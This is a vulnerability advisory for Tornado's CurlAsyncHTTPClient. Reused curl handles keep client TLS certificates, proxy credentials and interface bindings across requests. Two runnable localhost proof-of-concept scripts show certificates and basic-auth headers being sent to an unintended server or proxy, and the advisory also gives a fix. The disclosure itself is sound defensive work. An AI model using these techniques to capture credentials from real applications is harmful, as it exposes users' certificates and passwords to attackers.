CVE-2026-91992

# CurlAsyncHTTPClient leaks per-request credentials on handle reuse ## Summary `CurlAsyncHTTPClient` pools and reuses `pycurl` handles across requests but does not reset them between requests, and several per-request options are applied with no clearing branch. As a result, sensitive state set by one request persists onto a later request on the same client that does not set it. Two credential vectors are demonstrated below — a client TLS certificate (`SSLCERT`/`SSLKEY`) and proxy basic-auth credentials (`PROXYUSERPWD`) — both leaking to a different, unintended host. This affects all released versions through 6.5.6. ## Details In `tornado/curl_httpclient.py`, handles are created once and returned to a free list for reuse (`_process_queue` pops the handle at line 200, `_finish` re-appends it at line 245), and `_curl_setup_request` is never preceded by `curl.reset()`. The function clears *some* carried-over state on the reused handle — `unsetopt(PROXYUSERPWD)` in the no-proxy branch (line 394), `unsetopt(USERPWD)` when no auth is set (line 495), and the HTTP-method flag reset (lines 428-432) — but other options have no equivalent clearing path and persist until a later request sets them again. **Vector A — client TLS certificate (`SSLCERT`/`SSLKEY`).** Set-only, no clearing branch: ```python # tornado/curl_httpclient.py (v6.5.6), lines 498-502 if request.client_cert is not None: curl.setopt(pycurl.SSLCERT, request.client_cert) if request.client_key is not None: curl.setopt(pycurl.SSLKEY, request.client_key) ``` A request that sets `client_cert` leaves the certificate on the handle; a later request without `client_cert` presents it during its TLS handshake. **Vector B — proxy credentials (`PROXYUSERPWD`).** `PROXYUSERPWD` is set only inside the credentials branch and unset only in the no-proxy `else` branch: ```python # tornado/curl_httpclient.py (v6.5.6), lines 371-394 if request.proxy_host and request.proxy_port: curl.setopt(pycurl.PROXY, request.proxy_host) curl.setopt(pycurl.PROXYPORT, request.proxy_port) if request.proxy_username: # only place PROXYUSERPWD is set ... curl.setopt(pycurl.PROXYUSERPWD, credentials) ... else: try: curl.unsetopt(pycurl.PROXY) except TypeError: curl.setopt(pycurl.PROXY, "") curl.unsetopt(pycurl.PROXYUSERPWD) # only place it is unset ``` A request that sets a *new* `proxy_host` without `proxy_username` updates `PROXY`/`PROXYPORT` but never reaches the `else`, so the previous request's credentials persist and are sent to the new proxy. The same class also affects `INTERFACE` (lines 365-366: set only when `request.network_interface` is truthy, with no clearing branch), which is a lower-severity instance — a later request can be bound to a network interface it did not request. A single fix addresses all three (see Mitigation). ## PoC Both reproduce against the pinned release using public API only (`CurlAsyncHTTPClient`, `HTTPRequest`, and the documented per-request arguments). ### Vector A — client TLS certificate The two servers listen on different ports, so request B opens a fresh TCP+TLS connection; the certificate can only reach server 2 via the persisted handle option, not connection or session reuse. ``` python3 -m venv venv ./venv/bin/pip install "tornado==6.5.6" pycurl cryptography ./venv/bin/python poc_client_cert.py ``` ```python import asyncio import datetime import ipaddress import os import socket import ssl import sys import tempfile import threading from cryptography import x509 from cryptography.x509.oid import NameOID, ExtendedKeyUsageOID from cryptography.hazmat.primitives import hashes, serialization from cryptography.hazmat.primitives.asymmetric import rsa from tornado.httpclient import HTTPRequest from tornado.curl_httpclient import CurlAsyncHTTPClient def _key(): return rsa.generate_private_key(public_exponent=65537, key_size=2048) def _ca(): key = _key() name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "PoC-CA")]) now = datetime.datetime.now(datetime.timezone.utc) cert = ( x509.CertificateBuilder() .subject_name(name).issuer_name(name) .public_key(key.public_key()) .serial_number(x509.random_serial_number()) .not_valid_before(now - datetime.timedelta(minutes=1)) .not_valid_after(now + datetime.timedelta(days=1)) .add_extension(x509.BasicConstraints(ca=True, path_length=None), critical=True) .sign(key, hashes.SHA256()) ) return cert, key def _leaf(cn, ca_cert, ca_key, ips=None, client=False): key = _key() name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, cn)]) now = datetime.datetime.now(datetime.timezone.utc) b = ( x509.CertificateBuilder() .subject_name(name).issuer_name(ca_cert.subject) .public_key(key.public_key()) .serial_number(x509.random_serial_number()) .not_valid_before(now - datetime.timedelta(minutes=1)) .not_valid_after(now + datetime.timedelta(days=1)) .add_extension(x509.BasicConstraints(ca=False, path_length=None), critical=True) ) if ips: b = b.add_extension( x509.SubjectAlternativeName([x509.IPAddress(ipaddress.ip_address(i)) for i in ips]), critical=False, ) if client: b = b.add_extension( x509.ExtendedKeyUsage([ExtendedKeyUsageOID.CLIENT_AUTH]), critical=False ) return b.sign(ca_key, hashes.SHA256()), key def _pem(path, cert, key=None): with open(path, "wb") as fh: fh.write(cert.public_bytes(serialization.Encoding.PEM)) if key is not None: fh.write(key.private_bytes( serialization.Encoding.PEM, serialization.PrivateFormat.TraditionalOpenSSL, serialization.NoEncryption(), )) class TLSServer: def __init__(self, srv_pem, ca_pem, require): self.captures = [] self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self.sock.bind(("127.0.0.1", 0)) self.sock.listen(4) self.port = self.sock.getsockname()[1] self.ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) self.ctx.load_cert_chain(srv_pem) self.ctx.load_verify_locations(ca_pem) self.ctx.verify_mode = ssl.CERT_REQUIRED if require else ssl.CERT_OPTIONAL threading.Thread(target=self._serve, daemon=True).start() def _serve(self): while True: try: conn, _ = self.sock.accept() except OSError: return try: s = self.ctx.wrap_socket(conn, server_side=True) self.captures.append(s.getpeercert() or None) try: s.recv(4096) s.sendall(b"HTTP/1.1 200 OK\r\nContent-Length: 2\r\nConnection: close\r\n\r\nok") except Exception: pass s.close() except Exception: self.captures.append("handshake-failed") conn.close() def stop(self): try: self.sock.close() except Exception: pass def _cn(peer): if not peer or not isinstance(peer, dict): return None for rdn in peer.get("subject", ()): for k, v in rdn: if k == "commonName": return v return None async def main(): with tempfile.TemporaryDirectory() as tmp: ca_cert, ca_key = _ca() s1_cert, s1_key = _leaf("server1.local", ca_cert, ca_key, ips=["127.0.0.1"]) s2_cert, s2_key = _leaf("server2.local", ca_cert, ca_key, ips=["127.0.0.1"]) cli_cert, cli_key = _leaf("trusted-client", ca_cert, ca_key, client=True) ca_pem = os.path.join(tmp, "ca.pem") s1_pem = os.path.join(tmp, "s1.pem") s2_pem = os.path.join(tmp, "s2.pem") cert_pem = os.path.join(tmp, "client.crt") key_pem = os.path.join(tmp, "client.key") _pem(ca_pem, ca_cert) _pem(s1_pem, s1_cert, s1_key) _pem(s2_pem, s2_cert, s2_key) _pem(cert_pem, cli_cert) with open(key_pem, "wb") as fh: fh.write(cli_key.private_bytes( serialization.Encoding.PEM, serialization.PrivateFormat.TraditionalOpenSSL, serialization.NoEncryption(), )) s1 = TLSServer(s1_pem, ca_pem, require=True) s2 = TLSServer(s2_pem, ca_pem, require=False) try: clean = CurlAsyncHTTPClient(max_clients=1, force_instance=True) await clean.fetch(HTTPRequest( f"https://127.0.0.1:{s2.port}/baseline", ca_certs=ca_pem, request_timeout=5), raise_error=False) clean.close() client = CurlAsyncHTTPClient(max_clients=1, force_instance=True) await client.fetch(HTTPRequest( f"https://127.0.0.1:{s1.port}/internal-mtls", client_cert=cert_pem, client_key=key_pem, ca_certs=ca_pem, request_timeout=5), raise_error=False) await client.fetch(HTTPRequest( f"https://127.0.0.1:{s2.port}/other-host", ca_certs=ca_pem, request_timeout=5), raise_error=False) await asyncio.sleep(0.2) client.close() finally: s1.stop() s2.stop() baseline = _cn(s2.captures[0]) if s2.captures else None leaked = _cn(s2.captures[1]) if len(s2.captures) > 1 else None print(f"{'scenario':<48}{'cert presented to server 2'}") print(f"{'-' * 48}{'-' * 28}") print(f"{'baseline: clean client, no client_cert':<48}{baseline!r}") print(f"{'exploit: reused handle (A had client_cert)':<48}{leaked!r}") print() print(f"(sanity) server 1 (mTLS required) saw: {_cn(s1.captures[0]) if s1.captures else None!r}") print() if baseline is None and leaked == "trusted-client": print("VERDICT: VULNERABLE — the client certificate from request A was " "presented to server 2 on request B, which specified none.") return 0 print(f"VERDICT: not reproduced (baseline={baseline!r} leaked={leaked!r})") return 2 if __name__ == "__main__": sys.exit(asyncio.run(main())) ``` Output (`pip show tornado` → 6.5.6, installed in the venv): ``` scenario cert presented to server 2 ---------------------------------------------------------------------------- baseline: clean client, no client_cert None exploit: reused handle (A had client_cert) 'trusted-client' (sanity) server 1 (mTLS required) saw: 'trusted-client' VERDICT: VULNERABLE — the client certificate from request A was presented to server 2 on request B, which specified none. ``` ### Vector B — proxy credentials Each proxy is a separate listener capturing the raw request bytes. ``` ./venv/bin/python poc_proxy_creds.py ``` ```python import asyncio import base64 import socket import sys import threading from tornado.httpclient import HTTPRequest from tornado.curl_httpclient import CurlAsyncHTTPClient class CapturingProxy: def __init__(self): self.captures = [] self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self.sock.bind(("127.0.0.1", 0)) self.sock.listen(4) self.port = self.sock.getsockname()[1] threading.Thread(target=self._serve, daemon=True).start() def _serve(self): while True: try: conn, _ = self.sock.accept() except OSError: return try: data = b"" while b"\r\n\r\n" not in data and len(data) < 8192: chunk = conn.recv(2048) if not chunk: break data += chunk self.captures.append(data) conn.sendall(b"HTTP/1.1 502 Bad Gateway\r\nContent-Length: 0\r\n" b"Connection: close\r\n\r\n") except Exception: pass finally: conn.close() def stop(self): try: self.sock.close() except Exception: pass def proxy_authz(raw): head = raw.split(b"\r\n\r\n", 1)[0].decode("latin1", "replace") for line in head.split("\r\n"): if line.lower().startswith("proxy-authorization:"): return line return None async def main(): proxy_a = CapturingProxy() proxy_b = CapturingProxy() try: client = CurlAsyncHTTPClient(max_clients=1, force_instance=True) await client.fetch(HTTPRequest( "http://target.example/a", proxy_host="127.0.0.1", proxy_port=proxy_a.port, proxy_username="alice", proxy_password="secretA", request_timeout=5, connect_timeout=5), raise_error=False) await client.fetch(HTTPRequest( "http://target.example/b", proxy_host="127.0.0.1", proxy_port=proxy_b.port, request_timeout=5, connect_timeout=5), raise_error=False) await asyncio.sleep(0.2) client.close() finally: proxy_a.stop() proxy_b.stop() a = proxy_authz(proxy_a.captures[0]) if proxy_a.captures else None b = proxy_authz(proxy_b.captures[0]) if proxy_b.captures else None expected = "Basic " + base64.b64encode(b"alice:secretA").decode() print(f"{'request':<42}{'Proxy-Authorization seen by that proxy'}") print(f"{'-' * 42}{'-' * 40}") print(f"{'A -> proxy A (alice:secretA specified)':<42}{a or '(none)'}") print(f"{'B -> proxy B (NO credentials specified)':<42}{b or '(none)'}") print() if b and expected in b: print(f"VERDICT: VULNERABLE — proxy B received alice's credentials " f"({expected}) although request B specified no proxy_username.") return 0 print(f"VERDICT: not reproduced (proxy B saw: {b!r})") return 2 if __name__ == "__main__": sys.exit(asyncio.run(main())) ``` Output (`YWxpY2U6c2VjcmV0QQ==` decodes to `alice:secretA`): ``` request Proxy-Authorization seen by that proxy ---------------------------------------------------------------------------------- A -> proxy A (alice:secretA specified) Proxy-Authorization: Basic YWxpY2U6c2VjcmV0QQ== B -> proxy B (NO credentials specified) Proxy-Authorization: Basic YWxpY2U6c2VjcmV0QQ== VERDICT: VULNERABLE — proxy B received alice's credentials (Basic YWxpY2U6c2VjcmV0QQ==) although request B specified no proxy_username. ``` ## Impact * **Type:** Exposure of credentials to an unintended party (CWE-200), via reuse of a resource whose sensitive state was not cleared (CWE-672). * **Actors:** An application that issues requests with differing per-request options on a shared `CurlAsyncHTTPClient` — for Vector A, mixing per-request `client_cert` requests with non-certificate requests; for Vector B, multiplexing requests across more than one proxy with per-proxy credentials. * **Effect:** For Vector A, the client completes the TLS client-authentication handshake — proving possession of the private key and disclosing the certificate subject and chain — to a host that was never meant to receive it. For Vector B, proxy basic-auth credentials are transmitted (base64) to a different proxy. If the unintended host/proxy is attacker-controlled or attacker-influenced (a user-supplied URL, webhook target, SSRF-reachable endpoint, or a proxy chosen from user-controlled configuration), the credential is disclosed to the attacker. * **Scope:** Only applications using the optional `CurlAsyncHTTPClient` backend with the patterns above are affected. The default `SimpleAsyncHTTPClient` is not affected (and does not support proxies). Proposed CWE: CWE-200 / CWE-672. Proposed CVSS 3.1: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N` (5.9, medium); attack complexity is High because exploitation depends on the application using differing per-request options on a shared client and on handle scheduling. ## Mitigation A single fix closes all instances of this class: call `curl.reset()` at the start of `_curl_setup_request` and then re-apply the per-request options, so no state from a prior request can persist on the reused handle. (Note `curl.reset()` also clears `CAINFO`, which the current code intentionally leaves untouched — see the comment at lines 401-409 — so that default would need to be re-established after the reset.) Alternatively, add explicit clearing branches mirroring the existing `PROXYUSERPWD`/`USERPWD` handling: ```python # client certificate if request.client_cert is not None: curl.setopt(pycurl.SSLCERT, request.client_cert) else: curl.unsetopt(pycurl.SSLCERT) if request.client_key is not None: curl.setopt(pycurl.SSLKEY, request.client_key) else: curl.unsetopt(pycurl.SSLKEY) # proxy credentials (inside the `if request.proxy_host and request.proxy_port:` branch) if request.proxy_username: ... curl.setopt(pycurl.PROXYUSERPWD, credentials) else: curl.unsetopt(pycurl.PROXYUSERPWD) # network interface if request.network_interface: curl.setopt(pycurl.INTERFACE, request.network_interface) else: curl.unsetopt(pycurl.INTERFACE) ``` Until a fix is available, use a separate `CurlAsyncHTTPClient` instance per distinct credential set (per client certificate / per proxy credential), or use `SimpleAsyncHTTPClient` where applicable.